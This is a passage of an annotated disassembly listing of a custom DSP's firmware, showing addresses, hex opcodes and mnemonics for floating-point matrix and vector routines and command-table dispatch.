(x1-1)+0x200 0246: 1C1C339E mov d, (bx1-2) 0247: 01AF4673 fspd : lab $0x73, (x1+3)+0x200 0248: 014F7A70 fmrd : lab $0x70, (x1-3)+0x200 0249: 1C1C3381 mov d, (bx1+1) 024A: 01AF4670 fspd : lab $0x70, (x1+3)+0x200 024B: 012F7E73 fmsd : lab $0x73, (x1-1)+0x200 024C: 1C1C339E mov d, (bx1-2) 024D: 01AF4673 fspd : lab $0x73, (x1+3)+0x200 024E: 014F7A70 fmrd : lab $0x70, (x1-3)+0x200 024F: 1DBC3383 fspd : mov d, (bx1+3) 0250: 1D9F1E10 fsmd 0251: 1C1C3380 mov d, (bx1) 0252: BF60004C brif alw #0x4c -- 17 0253: 1C109600 mov $0x200, $0x4b 0254: 39000110 lia #0x110 0255: 1C1C204D mov a, $0x4d 0256: 1C1F2021 mov rf1, a 0257: 1C1DB269 mov $0x69, d 0258: 1F5C4253 addd : mov rf1, $0x53 0259: 1C1C3238 mov d, $0x38 025A: 1C1C4255 mov rf1, $0x55 025B: 1C1F4619 mov d, rf3 025C: 3900FFFF lia #0xffff 025D: 1C2CAA55 andd : mov $0x55, $0x255 025E: 1C1F0419 mov d, x0 025F: 1C0895A1 mov (x0+1) (e), $0x4a 0260: 1C1DB24A mov $0x4a, d 0261: 1C1DA000 mov $0, a 0262: 1F7F1E10 subd 0263: BE00029A brif zrd #0x29a 0264: 1C1DC638 mov $0x38, rf3 0265: 1C089DA1 mov (x0+1) (e), $0x4e 0266: 1C1C0466 mov x0, $0x66 0267: 1C1DB24E mov $0x4e, d 0268: 5F000004 ldi #0x4, sft 0269: 1EECA653 lsld : mov $0x53, $0x253 026A: 1C1DA06A mov $0x6a, a 026B: 1F5F1E10 addd 026C: 1C1F4619 mov d, rf3 026D: 3900FFFF lia #0xffff 026E: 1C3F1E10 andd 026F: 1C1F0419 mov d, x0 0270: 43000100 ldi #0x100, x1 0271: 3C04000C rep #0xc 0272: 1C0B03A1 mov (x0+1) (e), (bx1+1) 0273: 42000100 ldi #0x100, x0 0274: 1C10ADA1 mov (x0+1)+0x200, $0x56 0275: 1C10AFA1 mov (x0+1)+0x200, $0x57 0276: 1C10B1A1 mov (x0+1)+0x200, $0x58 0277: 1C0F4256 mov $0x56, (x1+1)+0x200 0278: 1C0F4257 mov $0x57, (x1+1)+0x200 0279: 1C0F6458 mov $0x58, (x1-0xe)+0x200 027A: 1C0CAC56 mov $0x56, $0x256 027B: 1C0CB058 mov $0x58, $0x258 027C: 4C000004 ldi #0x4, c0 027D: 000F4455 lab $0x55, (x1+2)+0x200 027E: 010F4253 fml : lab $0x53, (x1+1)+0x200 027F: 01AF4455 fspd : lab $0x55, (x1+2)+0x200 0280: 1C1C2659 mov b, $0x59 0281: 014F7C53 fmrd : lab $0x53, (x1-2)+0x200 0282: 1C1C265B mov b, $0x5b 0283: 014CAC5B fmrd : lab $0x5b, $0x256 0284: 012CB059 fmsd : lab $0x59, $0x258 0285: 1D4CAC59 fmrd : mov $0x59, $0x256 0286: 1D2CB05B fmsd : mov $0x5b, $0x258 0287: FE100293 brif !ged #0x293 0288: BF00027D brif zc0 #0x27d 0289: 63000000 ldi #0x0, rf3 028A: BF640684 bsif alw #0x684 028B: 1C1D864D mov $0x4d, x1 028C: 1C0F4254 mov $0x54, (x1+1)+0x200 028D: 1C0F424E mov $0x4e, (x1+1)+0x200 028E: 1C1C064D mov x1, $0x4d 028F: 39000001 lia #0x1 0290: 1C1DB24B mov $0x4b, d 0291: 1F5F1E10 addd 0292: 1C1C324B mov d, $0x4b 0293: 1C1DB24A mov $0x4a, d 0294: 1C1DA001 mov $1, a 0295: 1F7D8466 subd : mov $0x66, x0 0296: 1C1C324A mov d, $0x4a 0297: BE000299 brif zrd #0x299 0298: BF600264 brif alw #0x264 0299: 43000110 ldi #0x110, x1 029A: 1C1DC44B mov $0x4b, rf2 029B: 1C1DA04B mov $0x4b, a 029C: 1C1DB200 mov $0, d 029D: 1F5C2070 addd : mov a, $0x70 029E: BE0002A5 brif zrd #0x2a5 029F: 1C1DC581 mov (bx1+1), rf2 02A0: 1C1DB270 mov $0x70, d 02A1: 39000001 lia #0x1 02A2: 1F7DC581 subd : mov (bx1+1), rf2 02A3: 1C1C3270 mov d, $0x70 02A4: FE00029F brif !zrd #0x29f 02A5: 39000000 lia #0x0 02A6: 1C1F4610 mov a, rf3 02A7: 40000000 ldi #0x0, b0 02A8: 41000200 ldi #0x200, b1 02A9: BF60004C brif alw #0x4c -- 18 02AA: BF6407BE bsif alw #0x7be 02AB: 43000056 ldi #0x56, x1 02AC: 3C04000C rep #0xc 02AD: 1C1DC5A1 mov (x1+1), rf2 02AE: 40000000 ldi #0x0, b0 02AF: BF60004C brif alw #0x4c -- 19 02B0: 1C1DC409 mov $9, rf2 02B1: BF60004C brif alw #0x4c -- 1a 02B2: 1C1D8407 mov $7, x0 02B3: 1C103289 mov $0x209(x0), $0x19 02B4: 1C10348A mov $0x20a(x0), $0x1a 02B5: 1C10368B mov $0x20b(x0), $0x1b 02B6: 1C1DB219 mov $0x19, d 02B7: 1C1C4253 mov rf1, $0x53 02B8: 0010A680 lab $0x200(x0), $0x53 02B9: 1D1C4254 fml : mov rf1, $0x54 02BA: 0010A883 lab $0x203(x0), $0x54 02BB: 1D3C4255 fmsd : mov rf1, $0x55 02BC: 0010AA86 lab $0x206(x0), $0x55 02BD: 0130A681 fmsd : lab $0x201(x0), $0x53 02BE: 0130A884 fmsd : lab $0x204(x0), $0x54 02BF: 1C1F4419 mov d, rf2 02C0: 1C1DB21A mov $0x1a, d 02C1: 0130AA87 fmsd : lab $0x207(x0), $0x55 02C2: 0130A682 fmsd : lab $0x202(x0), $0x53 02C3: 0130A885 fmsd : lab $0x205(x0), $0x54 02C4: 1C1F4419 mov d, rf2 02C5: 1C1DB21B mov $0x1b, d 02C6: 0130AA88 fmsd : lab $0x208(x0), $0x55 02C7: 1D3F1E10 fmsd 02C8: 1D9F1E10 fsmd 02C9: 1C1F4419 mov d, rf2 02CA: BF60004C brif alw #0x4c -- 1b 02CB: 1C1CC220 mov rf1, $0x20 (e) 02CC: 1C1E4420 mov $0x20 (e), rf2 02CD: BF60004C brif alw #0x4c -- 1c 02CE: 1C1CC220 mov rf1, $0x20 (e) 02CF: 1C1E4421 mov $0x21 (e), rf2 02D0: BF60004C brif alw #0x4c -- 1d 02D1: 1C1CC220 mov rf1, $0x20 (e) 02D2: 1C1E2020 mov $0x20 (e), a 02D3: 1C1F2621 mov rf1, b 02D4: 1D1F1E10 fml 02D5: 1C1F441C mov p, rf2 02D6: BF60004C brif alw #0x4c -- 1e 02D7: 1C1CC220 mov rf1, $0x20 (e) 02D8: 1C1E2021 mov $0x21 (e), a 02D9: 1C1F2621 mov rf1, b 02DA: 1D1F1E10 fml 02DB: 1C1F441C mov p, rf2 02DC: BF60004C brif alw #0x4c -- 1f 02DD: 1C1C427B mov rf1, $0x7b 02DE: 1C1C427C mov rf1, $0x7c 02DF: 1C1C427D mov rf1, $0x7d 02E0: 1C1C4270 mov rf1, $0x70 02E1: 1C0CF670 mov $0x70, $0x27b 02E2: 1C1C4270 mov rf1, $0x70 02E3: 1C0CF870 mov $0x70, $0x27c 02E4: 1C1C4270 mov rf1, $0x70 02E5: 1C0CFA70 mov $0x70, $0x27d 02E6: 0010F67B lab $0x27b, $0x7b 02E7: 0290F87C d=b-a : lab $0x27c, $0x7c 02E8: 1C1C327B mov d, $0x7b 02E9: 0290FA7D d=b-a : lab $0x27d, $0x7d 02EA: 1C1C327C mov d, $0x7c 02EB: 1E8CF67B d=b-a : mov $0x7b, $0x27b 02EC: 1C1C327D mov d, $0x7d 02ED: 000CF67B lab $0x7b, $0x27b 02EE: 1D0CF87C fml : mov $0x7c, $0x27c 02EF: 000CF87C lab $0x7c, $0x27c 02F0: 1DACFA7D fspd : mov $0x7d, $0x27d 02F1: 000CFA7D lab $0x7d, $0x27d 02F2: 1D3F1E10 fmsd 02F3: 1D9F1E10 fsmd 02F4: 1C1C3270 mov d, $0x70 02F5: 1C1F2019 mov d, a 02F6: 1C1CA02A mov a, $0x2a (e) 02F7: 5100007F ldi #0x7f, ah 02F8: 1C1E262A mov $0x2a (e), b 02F9: 1D1E322B fml : mov $0x2b (e), d 02FA: 1D5DA070 fmrd : mov $0x70, a 02FB: 1C1F2619 mov d, b 02FC: 1D1F1E10 fml 02FD: 1C1F441C mov p, rf2 02FE: BF60004C brif alw #0x4c -- 20 & 21 02FF: BF60004C brif alw #0x4c -- 22 0300: 1C1F3221 mov rf1, d 0301: 1DFF1E10 cfxd unsigned 2 float 0302: 1C1F4419 mov d, rf2 0303: BF60004C brif alw #0x4c -- 23 0304: 1C1F3221 mov rf1, d 0305: 1DDF1E10 cxfd float 2 unsigned 0306: 1C1F4419 mov d, rf2 0307: BF60004C brif alw #0x4c -- 24 0308: 1C1C4268 mov rf1, $0x68 <0x68> = rf1 0309: BF60004C brif alw #0x4c -- 25 030A: 1C1DC468 mov $0x68, rf2 rf2 = <0x68> 030B: BF60004C brif alw #0x4c -- 26 030C: 1C1F2021 mov rf1, a a = rf1 030D: 1C1DB268 mov $0x68, d d = <0x68> 030E: 1CDF1E10 fadd d += a 030F: 1C1C3268 mov d, $0x68 <0x68> = d 0310: BF60004C brif alw #0x4c -- 27 0311: 1C1F2021 mov rf1, a a = rf1 0312: 1C1DB268 mov $0x68, d d = <0x68> 0313: 1CFF1E10 fsbd d -= a 0314: 1C1C3268 mov d, $0x68 <0x68> = d 0315: BF60004C brif alw #0x4c -- 28 0316: 1C1F2021 mov rf1, a a = rf1 0317: 1C1DA668 mov $0x68, b d = <0x68> 0318: 1D1F1E10 fml 08 a * b 0319: 1C1C3868 mov p, $0x68 <0x68> = p 031A: BF60004C brif alw #0x4c -- 29 031B: 1C1DB268 mov $0x68, d 031C: 1C1C3270 mov d, $0x70 031D: 1C1F2021 mov rf1, a 031E: 1C1CA028 mov a, $0x28 (e) 031F: 5100007F ldi #0x7f, ah 0320: 1C1E3228 mov $0x28 (e), d 0321: 1D7F1E10 fabd 0322: 1C1F2619 mov d, b 0323: 1D1E3229 fml : mov $0x29 (e), d 0324: 1D5DA070 fmrd : mov $0x70, a 0325: 1C1F2619 mov d, b 0326: 1D1F1E10 fml 0327: 1C1C3868 mov p, $0x68 0328: BF60004C brif alw #0x4c -- 2a 0329: BF6407BE bsif alw #0x7be 032A: 1C1C4270 mov rf1, $0x70 032B: 1C0C6070 mov $0x70, $0x230 032C: 1C1C4270 mov rf1, $0x70 032D: 1C0C6470 mov $0x70, $0x232 032E: 1C044065 mov $0x65, $0x20 (e) 032F: 1C08EA20 mov $0x20 (e), $0x75 0330: 1C08EC21 mov $0x21 (e), $0x76 0331: 0010B032 lab $0x232, $0x58 0332: 1E9DA075 d=b-a : mov $0x75, a 0333: 1C1F2619 mov d, b 0334: 0110AC30 fml : lab $0x230, $0x56 0335: 1C1C3873 mov p, $0x73 0336: 1E9DA076 d=b-a : mov $0x76, a 0337: 1C1F2619 mov d, b 0338: 1D1DB273 fml : mov $0x73, d 0339: 0190B632 fsmd : lab $0x232, $0x5b 033A: 1C1C3244 mov d, $0x44 033B: 1C1DC444 mov $0x44, rf2 033C: 1E9DA075 d=b-a : mov $0x75, a 033D: 1C1F2619 mov d, b 033E: 0110B230 fml : lab $0x230, $0x59 033F: 1C1C3873 mov p, $0x73 0340: 1E9DA076 d=b-a : mov $0x76, a 0341: 1C1F2619 mov d, b 0342: 1D1DB273 fml : mov $0x73, d 0343: 1D9DA044 fsmd : mov $0x44, a 0344: 1C1F4419 mov d, rf2 0345: 1CDDA005 fadd : mov $5, a 0346: 1C1F2619 mov d, b 0347: 1D1DA600 fml : mov $0, b 0348: 5400007E ldi #0x7e, bh 0349: 1C1F201C mov p, a 034A: 1D1F1E10 fml 034B: 1C1F441C mov p, rf2 034C: 1C044065 mov $0x65, $0x20 (e) 034D: 1C08EA22 mov $0x22 (e), $0x75 034E: 1C08EC21 mov $0x21 (e), $0x76 034F: 0010B230 lab $0x230, $0x59 0350: 1E9DA075 d=b-a : mov $0x75, a 0351: 1C1F2619 mov d, b 0352: 0110B632 fml : lab $0x232, $0x5b 0353: 1C1C3873 mov p, $0x73 0354: 1E9DA076 d=b-a : mov $0x76, a 0355: 1C1F2619 mov d, b 0356: 1D1DB273 fml : mov $0x73, d 0357: 0190B830 fsmd : lab $0x230, $0x5c 0358: 1C1C3244 mov d, $0x44 0359: 1C1DC444 mov $0x44, rf2 035A: 1E9DA075 d=b-a : mov $0x75, a 035B: 1C1F2619 mov d, b 035C: 0110BC32 fml : lab $0x232, $0x5e 035D: 1C1C3873 mov p, $0x73 035E: 1E9DA076 d=b-a : mov $0x76, a 035F: 1C1F2619 mov d, b 0360: 1D1DB273 fml : mov $0x73, d 0361: 1D9DA044 fsmd : mov $0x44, a 0362: 1C1F4419 mov d, rf2 0363: 1CDDA005 fadd : mov $5, a 0364: 1C1F2619 mov d, b 0365: 1D1DA600 fml : mov $0, b 0366: 5400007E ldi #0x7e, bh 0367: 1C1F201C mov p, a 0368: 1D1F1E10 fml 0369: 1C1F441C mov p, rf2 036A: 40000000 ldi #0x0, b0 036B: BF60004C brif alw #0x4c -- 2b 036C: BF6407BE bsif alw #0x7be 036D: 1C1C4270 mov rf1, $0x70 036E: 1C0C6070 mov $0x70, $0x230 036F: 1C1C4270 mov rf1, $0x70 0370: 1C0C6270 mov $0x70, $0x231 0371: 1C1C4270 mov rf1, $0x70 0372: 1C0C6470 mov $0x70, $0x232 0373: 1C1C4270 mov rf1, $0x70 0374: 1C0C6C70 mov $0x70, $0x236 0375: 1C1C4270 mov rf1, $0x70 0376: 1C0C6A70 mov $0x70, $0x235 0377: 1C10E235 mov $0x235, $0x71 0378: 1C1DB271 mov $0x71, d 0379: 1C1DB800 mov $0, p 037A: 01CC6C74 cxfd : lab $0x74, $0x236 037B: 1C1C3271 mov d, $0x71 037C: 1C1F3213 mov b, d 037D: 1DDF1E10 cxfd 037E: 1C1C3274 mov d, $0x74 037F: 1C0C6C74 mov $0x74, $0x236 0380: 3C000010 clr0 d 0381: 5A00007D ldi #0x7d, dh 0382: 1C1C3244 mov d, $0x44 0383: 43000056 ldi #0x56, x1 0384: 1C10C430 mov $0x230, $0x62 0385: BF6403AA bsif alw #0x3aa 0386: 43000057 ldi #0x57, x1 0387: 1C10C431 mov $0x231, $0x62 0388: BF6403AA bsif alw #0x3aa 0389: 43000058 ldi #0x58, x1 038A: 1C10C432 mov $0x232, $0x62 038B: BF6403AA bsif alw #0x3aa 038C: 1C1DB25B mov $0x5b, d 038D: 1C1DA058 mov $0x58, a 038E: 1CFDA056 fsbd : mov $0x56, a 038F: 1C1F2619 mov d, b 0390: 1C1DB259 mov $0x59, d 0391: 1CFF1E10 fsbd 0392: 1C1F2019 mov d, a 0393: BF640797 bsif alw #0x797 0394: 1C1E3227 mov $0x27 (e), d 0395: 5F000010 ldi #0x10, sft 0396: 1EFF1E10 lsld 0397: 1F1DB800 asrd : mov $0, p 0398: 01D0E036 cxfd : lab $0x236, $0x70 0399: 1CFDA071 fsbd : mov $0x71, a 039A: 1C1C3270 mov d, $0x70 039B: 1C1CA028 mov a, $0x28 (e) 039C: 5100007F ldi #0x7f, ah 039D: 1C1E3228 mov $0x28 (e), d 039E: 1D7F1E10 fabd 039F: 1C1F2619 mov d, b 03A0: 1D1E3229 fml : mov $0x29 (e), d 03A1: 1D5F1E10 fmrd 03A2: 1C1F2619 mov d, b 03A3: 1C1DA070 mov $0x70, a 03A4: 1D1F1E10 fml 03A5: 1C1F321C mov p, d 03A6: 1DFF1E10 cfxd 03A7: 1C1F4419 mov d, rf2 03A8: 40000000 ldi #0x0, b0 03A9: BF60004C brif alw #0x4c 03AA: 1C1DB3A3 mov (x1+3), d 03AB: 1C1DA1A3 mov (x1+3), a 03AC: 1CDDA1A3 fadd : mov (x1+3), a 03AD: 1CDDA1A0 fadd : mov (x1), a 03AE: 1CDF1E10 fadd 03AF: 1C1F2619 mov d, b 03B0: 1C1DA044 mov $0x44, a 03B1: 1D1DA062 fml : mov $0x62, a 03B2: 1C1F321C mov p, d 03B3: 1CFF1E10 fsbd 03B4: 1C1C3270 mov d, $0x70 03B5: 1C1DA071 mov $0x71, a 03B6: 1C1CA028 mov a, $0x28 (e) 03B7: 5100007F ldi #0x7f, ah 03B8: 1C1E3228 mov $0x28 (e), d 03B9: 1D7F1E10 fabd 03BA: 1C1F2619 mov d, b 03BB: 1D1E3229 fml : mov $0x29 (e), d 03BC: 1D5F1E10 fmrd 03BD: 1C1F2619 mov d, b 03BE: 1C1DA070 mov $0x70, a 03BF: 1D1F1E10 fml 03C0: 1C1F441C mov p, rf2 03C1: BF6A0000 rtif alw -- 2c 03C2: BF6407BE bsif alw #0x7be 03C3: 1C1DC462 mov $0x62, rf2 03C4: 1C1DC463 mov $0x63, rf2 03C5: 1C1DC464 mov $0x64, rf2 03C6: BF60004C brif alw #0x4c -- 2d 03C7: 1C1F2021 mov rf1, a 03C8: 1C1CA02A mov a, $0x2a (e) 03C9: 5100007F ldi #0x7f, ah 03CA: 1C1E262A mov $0x2a (e), b 03CB: 1D1E322B fml : mov $0x2b (e), d 03CC: 1D5F1E10 fmrd 03CD: 1C1F4419 mov d, rf2 03CE: BF60004C brif alw #0x4c -- 2e 03CF: 000C8074 lab $0x74, $0x240 03D0: 1C1F2021 mov rf1, a 03D1: 028C8274 d=b-a : lab $0x74, $0x241 03D2: 1C1C3270 mov d, $0x70 03D3: 1C1F2021 mov rf1, a 03D4: 028C8474 d=b-a : lab $0x74, $0x242 03D5: 1C1C3271 mov d, $0x71 03D6: 1C1F2021 mov rf1, a 03D7: 1E8CE070 d=b-a : mov $0x70, $0x270 03D8: 1C1C3273 mov d, $0x73 03D9: 000CE070 lab $0x70, $0x270 03DA: 1D0CE271 fml : mov $0x71, $0x271 03DB: 000CE271 lab $0x71, $0x271 03DC: 1DACE673 fspd : mov $0x73, $0x273 03DD: 000CE673 lab $0x73, $0x273 03DE: 1D30E243 fmsd : mov $0x243, $0x71 03DF: 1D9F1E10 fsmd 03E0: 1C1C3270 mov d, $0x70 03E1: 1C1F2019 mov d, a 03E2: 1C1CA02A mov a, $0x2a (e) 03E3: 5100007F ldi #0x7f, ah 03E4: 1C1E262A mov $0x2a (e), b 03E5: 1D1E322B fml : mov $0x2b (e), d 03E6: 1D5DA070 fmrd : mov $0x70, a 03E7: 1C1F2619 mov d, b 03E8: 1D1DB200 fml : mov $0, d 03E9: 1D9C386B fsmd : mov p, $0x6b 03EA: 1C1DA071 mov $0x71, a 03EB: 1CFF1E10 fsbd 03EC: 1C1C326C mov d, $0x6c 03ED: 1C1DC46C mov $0x6c, rf2 03EE: BF60004C brif alw #0x4c -- 2f 03EF: 000C8074 lab $0x74, $0x240 03F0: 1C1F2021 mov rf1, a 03F1: 028C8274 d=b-a : lab $0x74, $0x241 03F2: 1C1C3270 mov d, $0x70 03F3: 1C1F2021 mov rf1, a 03F4: 028C8474 d=b-a : lab $0x74, $0x242 03F5: 1C1C3271 mov d, $0x71 03F6: 1C1F2021 mov rf1, a 03F7: 1E8CE070 d=b-a : mov $0x70, $0x270 03F8: 1C1C3273 mov d, $0x73 03F9: 000CE070 lab $0x70, $0x270 03FA: 1D0CE271 fml : mov $0x71, $0x271 03FB: 000CE271 lab $0x71, $0x271 03FC: 1DACE673 fspd : mov $0x73, $0x273 03FD: 000CE673 lab $0x73, $0x273 03FE: 1D30E243 fmsd : mov $0x243, $0x71 03FF: 1D9F1E10 fsmd 0400: 1C1C3270 mov d, $0x70 0401: 1C1F2019 mov d, a 0402: 1C1CA02A mov a, $0x2a (e) 0403: 5100007F ldi #0x7f, ah 0404: 1C1E262A mov $0x2a (e), b 0405: 1D1E322B fml : mov $0x2b (e), d 0406: 1D5DA070 fmrd : mov $0x70, a 0407: 1C1F2619 mov d, b 0408: 1D1DB200 fml : mov $0, d 0409: 1D9C386B fsmd : mov p, $0x6b 040A: 1C1DA071 mov $0x71, a 040B: 1CFF1E10 fsbd 040C: 1C1C326C mov d, $0x6c 040D: 1C1DC46C mov $0x6c, rf2 040E: 1C1DC46B mov $0x6b, rf2 040F: BF60004C brif alw #0x4c -- 30 0410: BF6407BE bsif alw #0x7be 0411: 1C1DC465 mov $0x65, rf2 0412: BF60004C brif alw #0x4c 0413: 43000120 ldi #0x120, x1 0414: 3C04000C rep #0xc 0415: 1C1C4381 mov rf1, (bx1+1) 0416: BF60004C brif alw #0x4c 0417: 1C1C4253 mov rf1, $0x53 0418: 1C1C4254 mov rf1, $0x54 0419: 1C1C4255 mov rf1, $0x55 041A: 1C0CA653 mov $0x53, $0x253 041B: 1C0CA854 mov $0x54, $0x254 041C: 1C0CAA55 mov $0x55, $0x255 041D: 42000120 ldi #0x120, x0 041E: 1C10ADA1 mov (x0+1)+0x200, $0x56 041F: 1C10AFA1 mov (x0+1)+0x200, $0x57 0420: 1C10B1A0 mov (x0)+0x200, $0x58 0421: 4300012C ldi #0x12c, x1 0422: 1C0F4256 mov $0x56, (x1+1)+0x200 0423: 1C0F4257 mov $0x57, (x1+1)+0x200 0424: 1C0F4058 mov $0x58, (x1)+0x200 0425: 1C0CAC56 mov $0x56, $0x256 0426: 1C0CB058 mov $0x58, $0x258 0427: 43000120 ldi #0x120, x1 0428: 4C000004 ldi #0x4, c0 0429: 000F4455 lab $0x55, (x1+2)+0x200 042A: 010F4253 fml : lab $0x53, (x1+1)+0x200 042B: 01AF4455 fspd : lab $0x55, (x1+2)+0x200 042C: 1C1C2659 mov b, $0x59 042D: 014F7C53 fmrd : lab $0x53, (x1-2)+0x200 042E: 1C1C265B mov b, $0x5b 042F: 014CAC5B fmrd : lab $0x5b, $0x256 0430: 012CB059 fmsd : lab $0x59, $0x258 0431: 1D4CAC59 fmrd : mov $0x59, $0x256 0432: 1D2CB05B fmsd : mov $0x5b, $0x258 0433: FE100438 brif !ged #0x438 0434: BF000429 brif zc0 #0x429 0435: 39FFFFFF lia #0xffffff 0436: 1C1F4410 mov a, rf2 0437: BF60004C brif alw #0x4c 0438: 39000000 lia #0x0 0439: 1C1F4410 mov a, rf2 043A: BF60004C brif alw #0x4c 043B: BF6407BE bsif alw #0x7be 043C: 1C1C4270 mov rf1, $0x70 043D: 1C0CE070 mov $0x70, $0x270 043E: 1C1DB265 mov $0x65, d 043F: 1E2CE203 fned : mov $3, $0x271 0440: 1C1CB220 mov d, $0x20 (e) 0441: 1C08EA20 mov $0x20 (e), $0x75 0442: 1C08EC21 mov $0x21 (e), $0x76 0443: 000CE275 lab $0x75, $0x271 0444: 010CE076 fml : lab $0x76, $0x270 0445: 01ACE276 fspd : lab $0x76, $0x271 0446: 1D9DB862 fsmd : mov $0x62, p 0447: 012CE075 fmsd : lab $0x75, $0x270 0448: 1DBF4419 fspd : mov d, rf2 0449: 1D5DB864 fmrd : mov $0x64, p 044A: 1D9F1E10 fsmd 044B: 1C1F4419 mov d, rf2 044C: BF60004C brif alw #0x4c 044D: 39000684 lia #0x684 044E: 1C1C2035 mov a, $0x35 044F: 390004CA lia #0x4ca 0450: 1C1C2036 mov a, $0x36 0451: BF60045E brif alw #0x45e 0452: 39000518 lia #0x518 0453: 1C1C2035 mov a, $0x35 0454: 390004DB lia #0x4db 0455: 1C1C2036 mov a, $0x36 0456: BF60045E brif alw #0x45e 0457: 1C1F2621 mov rf1, b 0458: 39000684 lia #0x684 0459: 1C1C2035 mov a, $0x35 045A: 390004E9 lia #0x4e9 045B: 1C1C2036 mov a, $0x36 045C: 1C1F3221 mov rf1, d 045D: 1C1C3237 mov d, $0x37 045E: 1C1F3215 mov bl, d 045F: 5F000009 ldi #0x9, sft 0460: 1EFF1E10 lsld 0461: 5F000019 ldi #0x19, sft 0462: 1F1F1E10 asrd 0463: 1C1C323B mov d, $0x3b 0464: 1C1F3215 mov bl, d 0465: 3900FFFF lia #0xffff 0466: 1C3F1E10 andd 0467: 39400000 lia #0x400000 0468: 1F5F1E10 addd 0469: 1C1C323A mov d, $0x3a 046A: 1C1C326E mov d, $0x6e 046B: 1C1DA03B mov $0x3b, a 046C: 1C1F4619 mov d, rf3 046D: 1F5F0619 addd : mov d, x1 046E: 1C1C323A mov d, $0x3a 046F: 1C034002 mov {0} $2, (x1) (e) 0470: 1C109600 mov $0x200, $0x4b 0471: 39000110 lia #0x110 0472: 1C1C204D mov a, $0x4d 0473: 1C1F2021 mov rf1, a 0474: 1C1DB269 mov $0x69, d 0475: 1F5C4253 addd : mov rf1, $0x53 0476: 1C1C3238 mov d, $0x38 0477: 1C1C4255 mov rf1, $0x55 0478: 1C1F4619 mov d, rf3 0479: 3900FFFF lia #0xffff 047A: 1C2CAA55 andd : mov $0x55, $0x255 047B: 1C1F0419 mov d, x0 047C: 1C0895A1 mov (x0+1) (e), $0x4a 047D: 1C1DB24A mov $0x4a, d 047E: 1C1DA000 mov $0, a 047F: 1F7D860D subd : mov $0xd, x1 0480: BE0004B7 brif zrd #0x4b7 0481: 1C1DC638 mov $0x38, rf3 0482: 1C089DA1 mov (x0+1) (e), $0x4e 0483: 1C1C0466 mov x0, $0x66 0484: 1C1DB24E mov $0x4e, d 0485: 5F000004 ldi #0x4, sft 0486: 1EECA653 lsld : mov $0x53, $0x253 0487: 1C1DA06A mov $0x6a, a 0488: 1F5F1E10 addd 0489: 1C1F4619 mov d, rf3 048A: 3900FFFF lia #0xffff 048B: 1C3F1E10 andd 048C: 1C1F0419 mov d, x0 048D: 43000100 ldi #0x100, x1 048E: 3C04000C rep #0xc 048F: 1C0B03A1 mov (x0+1) (e), (bx1+1) 0490: 42000100 ldi #0x100, x0 0491: 1C10ADA1 mov (x0+1)+0x200, $0x56 0492: 1C10AFA1 mov (x0+1)+0x200, $0x57 0493: 1C10B1A1 mov (x0+1)+0x200, $0x58 0494: 1C0F4256 mov $0x56, (x1+1)+0x200 0495: 1C0F4257 mov $0x57, (x1+1)+0x200 0496: 1C0F6458 mov $0x58, (x1-0xe)+0x200 0497: 1C0CAC56 mov $0x56, $0x256 0498: 1C0CB058 mov $0x58, $0x258 0499: 4C000004 ldi #0x4, c0 049A: 000F4455 lab $0x55, (x1+2)+0x200 049B: 010F4253 fml : lab $0x53, (x1+1)+0x200 049C: 01AF4455 fspd : lab $0x55, (x1+2)+0x200 049D: 1C1C2659 mov b, $0x59 049E: 014F7C53 fmrd : lab $0x53, (x1-2)+0x200 049F: 1C1C265B mov b, $0x5b 04A0: 014CAC5B fmrd : lab $0x5b, $0x256 04A1: 012CB059 fmsd : lab $0x59, $0x258 04A2: 1D4CAC59 fmrd : mov $0x59, $0x256 04A3: 1D2CB05B fmsd : mov $0x5b, $0x258 04A4: FE1004B0 brif !ged #0x4b0 04A5: BF00049A brif zc0 #0x49a 04A6: 63000000 ldi #0x0, rf3 04A7: BF660035 bsul alw ($0x35) 04A8: 1C1D864D mov $0x4d, x1 04A9: 1C0F4254 mov $0x54, (x1+1)+0x200 04AA: 1C0F424E mov $0x4e, (x1+1)+0x200 04AB: 1C1C064D mov x1, $0x4d 04AC: 39000001 lia #0x1 04AD: 1C1DB24B mov $0x4b, d 04AE: 1F5F1E10 addd 04AF: 1C1C324B mov d, $0x4b 04B0: 1C1DB24A mov $0x4a, d 04B1: 1C1DA001 mov $1, a 04B2: 1F7D8466 subd : mov $0x66, x0 04B3: 1C1C324A mov d, $0x4a 04B4: BE0004B6 brif zrd #0x4b6 04B5: BF600481 brif alw #0x481 04B6: 42000110 ldi #0x110, x0 04B7: 1C1DA03B mov $0x3b, a 04B8: 1C1DB23A mov $0x3a, d 04B9: 1C1F4619 mov d, rf3 04BA: 1F5F0619 addd : mov d, x1 04BB: 1C1C323A mov d, $0x3a 04BC: 1C03404B mov {0} $0x4b, (x1) (e) 04BD: 1C1DA04B mov $0x4b, a 04BE: 1C1DB200 mov $0, d 04BF: 1F5C2070 addd : mov a, $0x70 04C0: BE0004C2 brif zrd #0x4c2 04C1: BF660036 bsul alw ($0x36) 04C2: 1C1DC66E mov $0x6e, rf3 04C3: 1C1D866E mov $0x6e, x1 04C4: 1C034000 mov {0} $0, (x1) (e) 04C5: 39000000 lia #0x0 04C6: 1C1F4610 mov a, rf3 04C7: 40000000 ldi #0x0, b0 04C8: 41000200 ldi #0x200, b1 04C9: BF60004C brif alw #0x4c 04CA: 1C10E3A1 mov (x0+1)+0x200, $0x71 04CB: 1C10E7A1 mov (x0+1)+0x200, $0x73 04CC: 1C1DA03B mov $0x3b, a 04CD: 1C1DB23A mov $0x3a, d 04CE: 1C1F4619 mov d, rf3 04CF: 1F5F0619 addd : mov d, x1 04D0: 1C034071 mov {0} $0x71, (x1) (e) 04D1: 1C1F4619 mov d, rf3 04D2: 1F5F0619 addd : mov d, x1 04D3: 1C1C323A mov d, $0x3a 04D4: 1C034073 mov {0} $0x73, (x1) (e) 04D5: 1C1DB270 mov $0x70, d 04D6: 39000001 lia #0x1 04D7: 1F7F1E10 subd 04D8: 1C1C3270 mov d, $0x70 04D9: FE0004CA brif !zrd #0x4ca 04DA: BF6A0000 rtif alw 04DB: 1C10E3A1 mov (x0+1)+0x200, $0x71 04DC: 1C10E7A1 mov (x0+1)+0x200, $0x73 04DD: 1C1DA03B mov $0x3b, a 04DE: 1C1DB23A mov $0x3a, d 04DF: 1C1F4619 mov d, rf3 04E0: 1F5F0619 addd : mov d, x1 04E1: 1C1C323A mov d, $0x3a 04E2: 1C034073 mov {0} $0x73, (x1) (e) 04E3: 1C1DB270 mov $0x70, d 04E4: 39000001 lia #0x1 04E5: 1F7F1E10 subd 04E6: 1C1C3270 mov d, $0x70 04E7: FE0004DB brif !zrd #0x4db 04E8: BF6A0000 rtif alw 